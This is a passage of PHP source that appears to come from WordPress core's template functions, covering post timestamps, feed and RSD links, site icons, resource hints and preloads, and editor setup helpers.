		$time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null );
	} else {
		if ( $gmt ) {
			$datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) );
		}

		$time = $datetime->format( $format );
	}

	/**
	 * Filters the localized time a post was written.
	 *
	 * @since 2.6.0
	 *
	 * @param string|int $time   Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
	 * @param string     $format Format to use for retrieving the time the post was written.
	 *                           Accepts 'G', 'U', or PHP date format.
	 * @param bool       $gmt    Whether to retrieve the GMT time.
	 */
	return apply_filters( 'get_post_time', $time, $format, $gmt );
}

/**
 * Retrieves post published or modified time as a `DateTimeImmutable` object instance.
 *
 * The object will be set to the timezone from WordPress settings.
 *
 * For legacy reasons, this function allows to choose to instantiate from local or UTC time in database.
 * Normally this should make no difference to the result. However, the values might get out of sync in database,
 * typically because of timezone setting changes. The parameter ensures the ability to reproduce backwards
 * compatible behaviors in such cases.
 *
 * @since 5.3.0
 *
 * @param int|WP_Post $post   Optional. Post ID or post object. Default is global `$post` object.
 * @param string      $field  Optional. Published or modified time to use from database. Accepts 'date' or 'modified'.
 *                            Default 'date'.
 * @param string      $source Optional. Local or UTC time to use from database. Accepts 'local' or 'gmt'.
 *                            Default 'local'.
 * @return DateTimeImmutable|false Time object on success, false on failure.
 */
function get_post_datetime( $post = null, $field = 'date', $source = 'local' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$wp_timezone = wp_timezone();

	if ( 'gmt' === $source ) {
		$time     = ( 'modified' === $field ) ? $post->post_modified_gmt : $post->post_date_gmt;
		$timezone = new DateTimeZone( 'UTC' );
	} else {
		$time     = ( 'modified' === $field ) ? $post->post_modified : $post->post_date;
		$timezone = $wp_timezone;
	}

	if ( empty( $time ) || '0000-00-00 00:00:00' === $time ) {
		return false;
	}

	$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', $time, $timezone );

	if ( false === $datetime ) {
		return false;
	}

	return $datetime->setTimezone( $wp_timezone );
}

/**
 * Retrieves post published or modified time as a Unix timestamp.
 *
 * Note that this function returns a true Unix timestamp, not summed with timezone offset
 * like older WP functions.
 *
 * @since 5.3.0
 *
 * @param int|WP_Post $post  Optional. Post ID or post object. Default is global `$post` object.
 * @param string      $field Optional. Published or modified time to use from database. Accepts 'date' or 'modified'.
 *                           Default 'date'.
 * @return int|false Unix timestamp on success, false on failure.
 */
function get_post_timestamp( $post = null, $field = 'date' ) {
	$datetime = get_post_datetime( $post, $field );

	if ( false === $datetime ) {
		return false;
	}

	return $datetime->getTimestamp();
}

/**
 * Displays the time at which the post was last modified.
 *
 * @since 2.0.0
 *
 * @param string $format Optional. Format to use for retrieving the time the post
 *                       was modified. Accepts 'G', 'U', or PHP date format.
 *                       Defaults to the 'time_format' option.
 */
function the_modified_time( $format = '' ) {
	/**
	 * Filters the localized time a post was last modified, for display.
	 *
	 * @since 2.0.0
	 *
	 * @param string|false $get_the_modified_time The formatted time or false if no post is found.
	 * @param string       $format                Format to use for retrieving the time the post
	 *                                            was modified. Accepts 'G', 'U', or PHP date format.
	 */
	echo apply_filters( 'the_modified_time', get_the_modified_time( $format ), $format );
}

/**
 * Retrieves the time at which the post was last modified.
 *
 * @since 2.0.0
 * @since 4.6.0 Added the `$post` parameter.
 *
 * @param string      $format Optional. Format to use for retrieving the time the post
 *                            was modified. Accepts 'G', 'U', or PHP date format.
 *                            Defaults to the 'time_format' option.
 * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post.
 * @return string|int|false Formatted date string or Unix timestamp. False on failure.
 */
function get_the_modified_time( $format = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		// For backward compatibility, failures go through the filter below.
		$the_time = false;
	} else {
		$_format = ! empty( $format ) ? $format : get_option( 'time_format' );

		$the_time = get_post_modified_time( $_format, false, $post, true );
	}

	/**
	 * Filters the localized time a post was last modified.
	 *
	 * @since 2.0.0
	 * @since 4.6.0 Added the `$post` parameter.
	 *
	 * @param string|int|false $the_time The formatted time or false if no post is found.
	 * @param string           $format   Format to use for retrieving the time the post
	 *                                   was modified. Accepts 'G', 'U', or PHP date format.
	 * @param WP_Post|null     $post     WP_Post object or null if no post is found.
	 */
	return apply_filters( 'get_the_modified_time', $the_time, $format, $post );
}

/**
 * Retrieves the time at which the post was last modified.
 *
 * @since 2.0.0
 *
 * @param string      $format    Optional. Format to use for retrieving the time the post
 *                               was modified. Accepts 'G', 'U', or PHP date format. Default 'U'.
 * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
 * @param int|WP_Post $post      Post ID or post object. Default is global `$post` object.
 * @param bool        $translate Whether to translate the time string. Default false.
 * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
 *                          False on failure.
 */
function get_post_modified_time( $format = 'U', $gmt = false, $post = null, $translate = false ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$source   = ( $gmt ) ? 'gmt' : 'local';
	$datetime = get_post_datetime( $post, 'modified', $source );

	if ( false === $datetime ) {
		return false;
	}

	if ( 'U' === $format || 'G' === $format ) {
		$time = $datetime->getTimestamp();

		// Returns a sum of timestamp with timezone offset. Ideally should never be used.
		if ( ! $gmt ) {
			$time += $datetime->getOffset();
		}
	} elseif ( $translate ) {
		$time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null );
	} else {
		if ( $gmt ) {
			$datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) );
		}

		$time = $datetime->format( $format );
	}

	/**
	 * Filters the localized time a post was last modified.
	 *
	 * @since 2.8.0
	 *
	 * @param string|int $time   Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
	 * @param string     $format Format to use for retrieving the time the post was modified.
	 *                           Accepts 'G', 'U', or PHP date format. Default 'U'.
	 * @param bool       $gmt    Whether to retrieve the GMT time. Default false.
	 */
	return apply_filters( 'get_post_modified_time', $time, $format, $gmt );
}

/**
 * Displays the weekday on which the post was written.
 *
 * @since 0.71
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 */
function the_weekday() {
	global $wp_locale;

	$post = get_post();

	if ( ! $post ) {
		return;
	}

	$the_weekday = $wp_locale->get_weekday( get_post_time( 'w', false, $post ) );

	/**
	 * Filters the weekday on which the post was written, for display.
	 *
	 * @since 0.71
	 *
	 * @param string $the_weekday
	 */
	echo apply_filters( 'the_weekday', $the_weekday );
}

/**
 * Displays the weekday on which the post was written.
 *
 * Will only output the weekday if the current post's weekday is different from
 * the previous one output.
 *
 * @since 0.71
 *
 * @global WP_Locale $wp_locale       WordPress date and time locale object.
 * @global string    $currentday      The day of the current post in the loop.
 * @global string    $previousweekday The day of the previous post in the loop.
 *
 * @param string $before Optional. Output before the date. Default empty.
 * @param string $after  Optional. Output after the date. Default empty.
 */
function the_weekday_date( $before = '', $after = '' ) {
	global $wp_locale, $currentday, $previousweekday;

	$post = get_post();

	if ( ! $post ) {
		return;
	}

	$the_weekday_date = '';

	if ( $currentday !== $previousweekday ) {
		$the_weekday_date .= $before;
		$the_weekday_date .= $wp_locale->get_weekday( get_post_time( 'w', false, $post ) );
		$the_weekday_date .= $after;
		$previousweekday   = $currentday;
	}

	/**
	 * Filters the localized date on which the post was written, for display.
	 *
	 * @since 0.71
	 *
	 * @param string $the_weekday_date The weekday on which the post was written.
	 * @param string $before           The HTML to output before the date.
	 * @param string $after            The HTML to output after the date.
	 */
	echo apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
}

/**
 * Fires the wp_head action.
 *
 * See {@see 'wp_head'}.
 *
 * @since 1.2.0
 */
function wp_head() {
	/**
	 * Prints scripts or data in the head tag on the front end.
	 *
	 * @since 1.5.0
	 */
	do_action( 'wp_head' );
}

/**
 * Fires the wp_footer action.
 *
 * See {@see 'wp_footer'}.
 *
 * @since 1.5.1
 */
function wp_footer() {
	/**
	 * Prints scripts or data before the closing body tag on the front end.
	 *
	 * @since 1.5.1
	 */
	do_action( 'wp_footer' );
}

/**
 * Fires the wp_body_open action.
 *
 * See {@see 'wp_body_open'}.
 *
 * @since 5.2.0
 */
function wp_body_open() {
	/**
	 * Triggered after the opening body tag.
	 *
	 * @since 5.2.0
	 */
	do_action( 'wp_body_open' );
}

/**
 * Displays the links to the general feeds.
 *
 * @since 2.8.0
 *
 * @param array $args Optional arguments.
 */
function feed_links( $args = array() ) {
	if ( ! current_theme_supports( 'automatic-feed-links' ) ) {
		return;
	}

	$defaults = array(
		/* translators: Separator between site name and feed type in feed links. */
		'separator' => _x( '&raquo;', 'feed link' ),
		/* translators: 1: Site title, 2: Separator (raquo). */
		'feedtitle' => __( '%1$s %2$s Feed' ),
		/* translators: 1: Site title, 2: Separator (raquo). */
		'comstitle' => __( '%1$s %2$s Comments Feed' ),
	);

	$args = wp_parse_args( $args, $defaults );

	/**
	 * Filters whether to display the posts feed link.
	 *
	 * @since 4.4.0
	 *
	 * @param bool $show Whether to display the posts feed link. Default true.
	 */
	if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
		printf(
			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",
			feed_content_type(),
			esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ),
			esc_url( get_feed_link() )
		);
	}

	/**
	 * Filters whether to display the comments feed link.
	 *
	 * @since 4.4.0
	 *
	 * @param bool $show Whether to display the comments feed link. Default true.
	 */
	if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
		printf(
			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",
			feed_content_type(),
			esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ),
			esc_url( get_feed_link( 'comments_' . get_default_feed() ) )
		);
	}
}

/**
 * Displays the links to the extra feeds such as category feeds.
 *
 * @since 2.8.0
 *
 * @param array $args Optional arguments.
 */
function feed_links_extra( $args = array() ) {
	$defaults = array(
		/* translators: Separator between site name and feed type in feed links. */
		'separator'     => _x( '&raquo;', 'feed link' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Post title. */
		'singletitle'   => __( '%1$s %2$s %3$s Comments Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Category name. */
		'cattitle'      => __( '%1$s %2$s %3$s Category Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Tag name. */
		'tagtitle'      => __( '%1$s %2$s %3$s Tag Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Term name, 4: Taxonomy singular name. */
		'taxtitle'      => __( '%1$s %2$s %3$s %4$s Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Author name. */
		'authortitle'   => __( '%1$s %2$s Posts by %3$s Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Search query. */
		'searchtitle'   => __( '%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed' ),
		/* translators: 1: Site name, 2: Separator (raquo), 3: Post type name. */
		'posttypetitle' => __( '%1$s %2$s %3$s Feed' ),
	);

	$args = wp_parse_args( $args, $defaults );

	if ( is_singular() ) {
		$id   = 0;
		$post = get_post( $id );

		/** This filter is documented in wp-includes/general-template.php */
		$show_comments_feed = apply_filters( 'feed_links_show_comments_feed', true );

		/**
		 * Filters whether to display the post comments feed link.
		 *
		 * This filter allows to enable or disable the feed link for a singular post
		 * in a way that is independent of {@see 'feed_links_show_comments_feed'}
		 * (which controls the global comments feed). The result of that filter
		 * is accepted as a parameter.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show_comments_feed Whether to display the post comments feed link. Defaults to
		 *                                 the {@see 'feed_links_show_comments_feed'} filter result.
		 */
		$show_post_comments_feed = apply_filters( 'feed_links_extra_show_post_comments_feed', $show_comments_feed );

		if ( $show_post_comments_feed && ( comments_open() || pings_open() || $post->comment_count > 0 ) ) {
			$title = sprintf(
				$args['singletitle'],
				get_bloginfo( 'name' ),
				$args['separator'],
				the_title_attribute( array( 'echo' => false ) )
			);

			$feed_link = get_post_comments_feed_link( $post->ID );

			if ( $feed_link ) {
				$href = $feed_link;
			}
		}
	} elseif ( is_post_type_archive() ) {
		/**
		 * Filters whether to display the post type archive feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the post type archive feed link. Default true.
		 */
		$show_post_type_archive_feed = apply_filters( 'feed_links_extra_show_post_type_archive_feed', true );

		if ( $show_post_type_archive_feed ) {
			$post_type = get_query_var( 'post_type' );

			if ( is_array( $post_type ) ) {
				$post_type = reset( $post_type );
			}

			$post_type_obj = get_post_type_object( $post_type );

			$title = sprintf(
				$args['posttypetitle'],
				get_bloginfo( 'name' ),
				$args['separator'],
				$post_type_obj->labels->name
			);

			$href = get_post_type_archive_feed_link( $post_type_obj->name );
		}
	} elseif ( is_category() ) {
		/**
		 * Filters whether to display the category feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the category feed link. Default true.
		 */
		$show_category_feed = apply_filters( 'feed_links_extra_show_category_feed', true );

		if ( $show_category_feed ) {
			$term = get_queried_object();

			if ( $term ) {
				$title = sprintf(
					$args['cattitle'],
					get_bloginfo( 'name' ),
					$args['separator'],
					$term->name
				);

				$href = get_category_feed_link( $term->term_id );
			}
		}
	} elseif ( is_tag() ) {
		/**
		 * Filters whether to display the tag feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the tag feed link. Default true.
		 */
		$show_tag_feed = apply_filters( 'feed_links_extra_show_tag_feed', true );

		if ( $show_tag_feed ) {
			$term = get_queried_object();

			if ( $term ) {
				$title = sprintf(
					$args['tagtitle'],
					get_bloginfo( 'name' ),
					$args['separator'],
					$term->name
				);

				$href = get_tag_feed_link( $term->term_id );
			}
		}
	} elseif ( is_tax() ) {
		/**
		 * Filters whether to display the custom taxonomy feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the custom taxonomy feed link. Default true.
		 */
		$show_tax_feed = apply_filters( 'feed_links_extra_show_tax_feed', true );

		if ( $show_tax_feed ) {
			$term = get_queried_object();

			if ( $term ) {
				$tax = get_taxonomy( $term->taxonomy );

				$title = sprintf(
					$args['taxtitle'],
					get_bloginfo( 'name' ),
					$args['separator'],
					$term->name,
					$tax->labels->singular_name
				);

				$href = get_term_feed_link( $term->term_id, $term->taxonomy );
			}
		}
	} elseif ( is_author() ) {
		/**
		 * Filters whether to display the author feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the author feed link. Default true.
		 */
		$show_author_feed = apply_filters( 'feed_links_extra_show_author_feed', true );

		if ( $show_author_feed ) {
			$author_id = (int) get_query_var( 'author' );

			$title = sprintf(
				$args['authortitle'],
				get_bloginfo( 'name' ),
				$args['separator'],
				get_the_author_meta( 'display_name', $author_id )
			);

			$href = get_author_feed_link( $author_id );
		}
	} elseif ( is_search() ) {
		/**
		 * Filters whether to display the search results feed link.
		 *
		 * @since 6.1.0
		 *
		 * @param bool $show Whether to display the search results feed link. Default true.
		 */
		$show_search_feed = apply_filters( 'feed_links_extra_show_search_feed', true );

		if ( $show_search_feed ) {
			$title = sprintf(
				$args['searchtitle'],
				get_bloginfo( 'name' ),
				$args['separator'],
				get_search_query( false )
			);

			$href = get_search_feed_link();
		}
	}

	if ( isset( $title ) && isset( $href ) ) {
		printf(
			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",
			feed_content_type(),
			esc_attr( $title ),
			esc_url( $href )
		);
	}
}

/**
 * Displays the link to the Really Simple Discovery service endpoint.
 *
 * @link http://archipelago.phrasewise.com/rsd
 * @since 2.0.0
 */
function rsd_link() {
	printf(
		'<link rel="EditURI" type="application/rsd+xml" title="RSD" href="%s" />' . "\n",
		esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) )
	);
}

/**
 * Displays a referrer `strict-origin-when-cross-origin` meta tag.
 *
 * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
 * the full URL as a referrer to other sites when cross-origin assets are loaded.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
 *
 * @since 5.7.0
 */
function wp_strict_cross_origin_referrer() {
	?>
	<meta name='referrer' content='strict-origin-when-cross-origin' />
	<?php
}

/**
 * Displays site icon meta tags.
 *
 * @since 4.3.0
 *
 * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
 */
function wp_site_icon() {
	if ( ! has_site_icon() && ! is_customize_preview() ) {
		return;
	}

	$meta_tags = array();
	$icon_32   = get_site_icon_url( 32 );
	if ( empty( $icon_32 ) && is_customize_preview() ) {
		$icon_32 = '/favicon.ico'; // Serve default favicon URL in customizer so element can be updated for preview.
	}
	if ( $icon_32 ) {
		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( $icon_32 ) );
	}
	$icon_192 = get_site_icon_url( 192 );
	if ( $icon_192 ) {
		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( $icon_192 ) );
	}
	$icon_180 = get_site_icon_url( 180 );
	if ( $icon_180 ) {
		$meta_tags[] = sprintf( '<link rel="apple-touch-icon" href="%s" />', esc_url( $icon_180 ) );
	}
	$icon_270 = get_site_icon_url( 270 );
	if ( $icon_270 ) {
		$meta_tags[] = sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( $icon_270 ) );
	}

	/**
	 * Filters the site icon meta tags, so plugins can add their own.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $meta_tags Array of Site Icon meta tags.
	 */
	$meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
	$meta_tags = array_filter( $meta_tags );

	foreach ( $meta_tags as $meta_tag ) {
		echo "$meta_tag\n";
	}
}

/**
 * Prints resource hints to browsers for pre-fetching, pre-rendering
 * and pre-connecting to websites.
 *
 * Gives hints to browsers to prefetch specific pages or render them
 * in the background, to perform DNS lookups or to begin the connection
 * handshake (DNS, TCP, TLS) in the background.
 *
 * These performance improving indicators work by using `<link rel"…">`.
 *
 * @since 4.6.0
 */
function wp_resource_hints() {
	$hints = array(
		'dns-prefetch' => wp_dependencies_unique_hosts(),
		'preconnect'   => array(),
		'prefetch'     => array(),
		'prerender'    => array(),
	);

	foreach ( $hints as $relation_type => $urls ) {
		$unique_urls = array();

		/**
		 * Filters domains and URLs for resource hints of the given relation type.
		 *
		 * @since 4.6.0
		 * @since 4.7.0 The `$urls` parameter accepts arrays of specific HTML attributes
		 *              as its child elements.
		 *
		 * @param array  $urls {
		 *     Array of resources and their attributes, or URLs to print for resource hints.
		 *
		 *     @type array|string ...$0 {
		 *         Array of resource attributes, or a URL string.
		 *
		 *         @type string $href        URL to include in resource hints. Required.
		 *         @type string $as          How the browser should treat the resource
		 *                                   (`script`, `style`, `image`, `document`, etc).
		 *         @type string $crossorigin Indicates the CORS policy of the specified resource.
		 *         @type float  $pr          Expected probability that the resource hint will be used.
		 *         @type string $type        Type of the resource (`text/html`, `text/css`, etc).
		 *     }
		 * }
		 * @param string $relation_type The relation type the URLs are printed for. One of
		 *                              'dns-prefetch', 'preconnect', 'prefetch', or 'prerender'.
		 */
		$urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );

		foreach ( $urls as $key => $url ) {
			$atts = array();

			if ( is_array( $url ) ) {
				if ( isset( $url['href'] ) ) {
					$atts = $url;
					$url  = $url['href'];
				} else {
					continue;
				}
			}

			$url = esc_url( $url, array( 'http', 'https' ) );

			if ( ! $url ) {
				continue;
			}

			if ( isset( $unique_urls[ $url ] ) ) {
				continue;
			}

			if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ), true ) ) {
				$parsed = wp_parse_url( $url );

				if ( empty( $parsed['host'] ) ) {
					continue;
				}

				if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
					$url = $parsed['scheme'] . '://' . $parsed['host'];
				} else {
					// Use protocol-relative URLs for dns-prefetch or if scheme is missing.
					$url = '//' . $parsed['host'];
				}
			}

			$atts['rel']  = $relation_type;
			$atts['href'] = $url;

			$unique_urls[ $url ] = $atts;
		}

		foreach ( $unique_urls as $atts ) {
			$html = '';

			foreach ( $atts as $attr => $value ) {
				if ( ! is_scalar( $value )
					|| ( ! in_array( $attr, array( 'as', 'crossorigin', 'href', 'pr', 'rel', 'type' ), true ) && ! is_numeric( $attr ) )
				) {

					continue;
				}

				$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );

				if ( ! is_string( $attr ) ) {
					$html .= " $value";
				} else {
					$html .= " $attr='$value'";
				}
			}

			$html = trim( $html );

			echo "<link $html />\n";
		}
	}
}

/**
 * Prints resource preloads directives to browsers.
 *
 * Gives directive to browsers to preload specific resources that website will
 * need very soon, this ensures that they are available earlier and are less
 * likely to block the page's render. Preload directives should not be used for
 * non-render-blocking elements, as then they would compete with the
 * render-blocking ones, slowing down the render.
 *
 * These performance improving indicators work by using `<link rel="preload">`.
 *
 * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload
 * @link https://web.dev/preload-responsive-images/
 *
 * @since 6.1.0
 */
function wp_preload_resources() {
	/**
	 * Filters domains and URLs for resource preloads.
	 *
	 * @since 6.1.0
	 *
	 * @param array  $preload_resources {
	 *     Array of resources and their attributes, or URLs to print for resource preloads.
	 *
	 *     @type array ...$0 {
	 *         Array of resource attributes.
	 *
	 *         @type string $href        URL to include in resource preloads. Required.
	 *         @type string $as          How the browser should treat the resource
	 *                                   (`script`, `style`, `image`, `document`, etc).
	 *         @type string $crossorigin Indicates the CORS policy of the specified resource.
	 *         @type string $type        Type of the resource (`text/html`, `text/css`, etc).
	 *         @type string $media       Accepts media types or media queries. Allows responsive preloading.
	 *         @type string $imagesizes  Responsive source size to the source Set.
	 *         @type string $imagesrcset Responsive image sources to the source set.
	 *     }
	 * }
	 */
	$preload_resources = apply_filters( 'wp_preload_resources', array() );

	if ( ! is_array( $preload_resources ) ) {
		return;
	}

	$unique_resources = array();

	// Parse the complete resource list and extract unique resources.
	foreach ( $preload_resources as $resource ) {
		if ( ! is_array( $resource ) ) {
			continue;
		}

		$attributes = $resource;
		if ( isset( $resource['href'] ) ) {
			$href = $resource['href'];
			if ( isset( $unique_resources[ $href ] ) ) {
				continue;
			}
			$unique_resources[ $href ] = $attributes;
			// Media can use imagesrcset and not href.
		} elseif ( ( 'image' === $resource['as'] ) &&
			( isset( $resource['imagesrcset'] ) || isset( $resource['imagesizes'] ) )
		) {
			if ( isset( $unique_resources[ $resource['imagesrcset'] ] ) ) {
				continue;
			}
			$unique_resources[ $resource['imagesrcset'] ] = $attributes;
		} else {
			continue;
		}
	}

	// Build and output the HTML for each unique resource.
	foreach ( $unique_resources as $unique_resource ) {
		$html = '';

		foreach ( $unique_resource as $resource_key => $resource_value ) {
			if ( ! is_scalar( $resource_value ) ) {
				continue;
			}

			// Ignore non-supported attributes.
			$non_supported_attributes = array( 'as', 'crossorigin', 'href', 'imagesrcset', 'imagesizes', 'type', 'media' );
			if ( ! in_array( $resource_key, $non_supported_attributes, true ) && ! is_numeric( $resource_key ) ) {
				continue;
			}

			// imagesrcset only usable when preloading image, ignore otherwise.
			if ( ( 'imagesrcset' === $resource_key ) && ( ! isset( $unique_resource['as'] ) || ( 'image' !== $unique_resource['as'] ) ) ) {
				continue;
			}

			// imagesizes only usable when preloading image and imagesrcset present, ignore otherwise.
			if ( ( 'imagesizes' === $resource_key ) &&
				( ! isset( $unique_resource['as'] ) || ( 'image' !== $unique_resource['as'] ) || ! isset( $unique_resource['imagesrcset'] ) )
			) {
				continue;
			}

			$resource_value = ( 'href' === $resource_key ) ? esc_url( $resource_value, array( 'http', 'https' ) ) : esc_attr( $resource_value );

			if ( ! is_string( $resource_key ) ) {
				$html .= " $resource_value";
			} else {
				$html .= " $resource_key='$resource_value'";
			}
		}
		$html = trim( $html );

		printf( "<link rel='preload' %s />\n", $html );
	}
}

/**
 * Retrieves a list of unique hosts of all enqueued scripts and styles.
 *
 * @since 4.6.0
 *
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 * @global WP_Styles  $wp_styles  The WP_Styles object for printing styles.
 *
 * @return string[] A list of unique hosts of enqueued scripts and styles.
 */
function wp_dependencies_unique_hosts() {
	global $wp_scripts, $wp_styles;

	$unique_hosts = array();

	foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
		if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
			foreach ( $dependencies->queue as $handle ) {
				if ( ! isset( $dependencies->registered[ $handle ] ) ) {
					continue;
				}

				/* @var _WP_Dependency $dependency */
				$dependency = $dependencies->registered[ $handle ];
				$parsed     = wp_parse_url( $dependency->src );

				if ( ! empty( $parsed['host'] )
					&& ! in_array( $parsed['host'], $unique_hosts, true ) && $parsed['host'] !== $_SERVER['SERVER_NAME']
				) {
					$unique_hosts[] = $parsed['host'];
				}
			}
		}
	}

	return $unique_hosts;
}

/**
 * Determines whether the user can access the visual editor.
 *
 * Checks if the user can access the visual editor and that it's supported by the user's browser.
 *
 * @since 2.0.0
 *
 * @global bool $wp_rich_edit Whether the user can access the visual editor.
 * @global bool $is_gecko     Whether the browser is Gecko-based.
 * @global bool $is_opera     Whether the browser is Opera.
 * @global bool $is_safari    Whether the browser is Safari.
 * @global bool $is_chrome    Whether the browser is Chrome.
 * @global bool $is_IE        Whether the browser is Internet Explorer.
 * @global bool $is_edge      Whether the browser is Microsoft Edge.
 *
 * @return bool True if the user can access the visual editor, false otherwise.
 */
function user_can_richedit() {
	global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;

	if ( ! isset( $wp_rich_edit ) ) {
		$wp_rich_edit = false;

		if ( 'true' === get_user_option( 'rich_editing' ) || ! is_user_logged_in() ) { // Default to 'true' for logged out users.
			if ( $is_safari ) {
				$wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && (int) $match[1] >= 534 );
			} elseif ( $is_IE ) {
				$wp_rich_edit = str_contains( $_SERVER['HTTP_USER_AGENT'], 'Trident/7.0;' );
			} elseif ( $is_gecko || $is_chrome || $is_edge || ( $is_opera && ! wp_is_mobile() ) ) {
				$wp_rich_edit = true;
			}
		}
	}

	/**
	 * Filters whether the user can access the visual editor.
	 *
	 * @since 2.1.0
	 *
	 * @param bool $wp_rich_edit Whether the user can access the visual editor.
	 */
	return apply_filters( 'user_can_richedit', $wp_rich_edit );
}

/**
 * Finds out which editor should be displayed by default.
 *
 * Works out which of the editors to display as the current editor for a
 * user. The 'html' setting is for the "Text" editor tab.
 *
 * @since 2.5.0
 *
 * @return string Either 'tinymce', 'html', or 'test'
 */
function wp_default_editor() {
	$r = user_can_richedit() ? 'tinymce' : 'html'; // Defaults.
	if ( wp_get_current_user() ) { // Look for cookie.
		$ed = get_user_setting( 'editor', 'tinymce' );
		$r  = ( in_array( $ed, array( 'tinymce', 'html', 'test' ), true ) ) ? $ed : $r;
	}

	/**
	 * Filters which editor should be displayed by default.
	 *
	 * @since 2.5.0
	 *
	 * @param string $r Which editor should be displayed by default. Either 'tinymce', 'html', or 'test'.
	 */
	return apply_filters( 'wp_default_editor', $r );
}

/**
 * Renders an editor.
 *
 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
 *
 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
 * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
 * On the post edit screen several actions can be used to include additional editors
 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
 * See https://core.trac.wordpress.org/ticket/19173 for more information.
 *
 * @see _WP_Editors::editor()
 * @see _WP_Editors::parse_settings()
 * @since 3.3.0
 *
 * @param string $content   Initial content for the editor.
 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE.
 *                          Should not contain square brackets.
 * @param array  $settings  See _WP_Editors::parse_settings() for description.
 */
function wp_editor( $content, $editor_id, $settings = array() ) {
	if ( ! class_exists( '_WP_Editors', false ) ) {
		require ABSPATH . WPINC . '/class-wp-editor.php';
	}
	_WP_Editors::editor( $content, $editor_id, $settings );
}

/**
 * Outputs the editor scripts, stylesheets, and default settings.
 *
 * The editor can be initialized when needed after page load.
 * See wp.editor.initialize() in wp-admin/js/editor.js for initialization options.
 *
 * @uses _WP_Editors
 * @since 4.8.0
 */
function wp_enqueue_editor() {
	if ( ! class_exists( '_WP_Editors', false ) ) {
		require ABSPATH . WPINC . '/class-wp-editor.php';
	}

	_WP_Editors::enqueue_default_editor();
}

/**
 * Enqueues assets needed by the code editor for the given settings.
 *
 * @since 4.9.0
 *
 * @see wp_enqueue_editor()
 * @see wp_get_code_editor_settings();
 * @see _WP_Editors::parse_settings()
 *
 * @param array $args {
 *     Args.
 *
 *     @type string   $type       The MIME type of the file to be edited.
 *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param.
 *     @type WP_Theme $theme      Theme being edited when on the theme file editor.
 *     @type string   $plugin     Plugin being edited when on the plugin file editor.
 *     @type array    $codemirror Additional CodeMirror setting overrides.
 *     @type array    $csslint    CSSLint rule overrides.
 *     @type array    $jshint     JSHint rule overrides.
 *     @type array    $htmlhint   HTMLHint rule overrides.
 * }
 * @return array|false Settings for the enqueued code editor, or false if the editor was not enqueued.
 */
function wp_enqueue_code_editor( $args ) {
	if ( is_user_logged_in() && 'false' === wp_get_current_user()->syntax_highlighting ) {
		return false;
	}

	$settings = wp_get_code_editor_settings( $args );

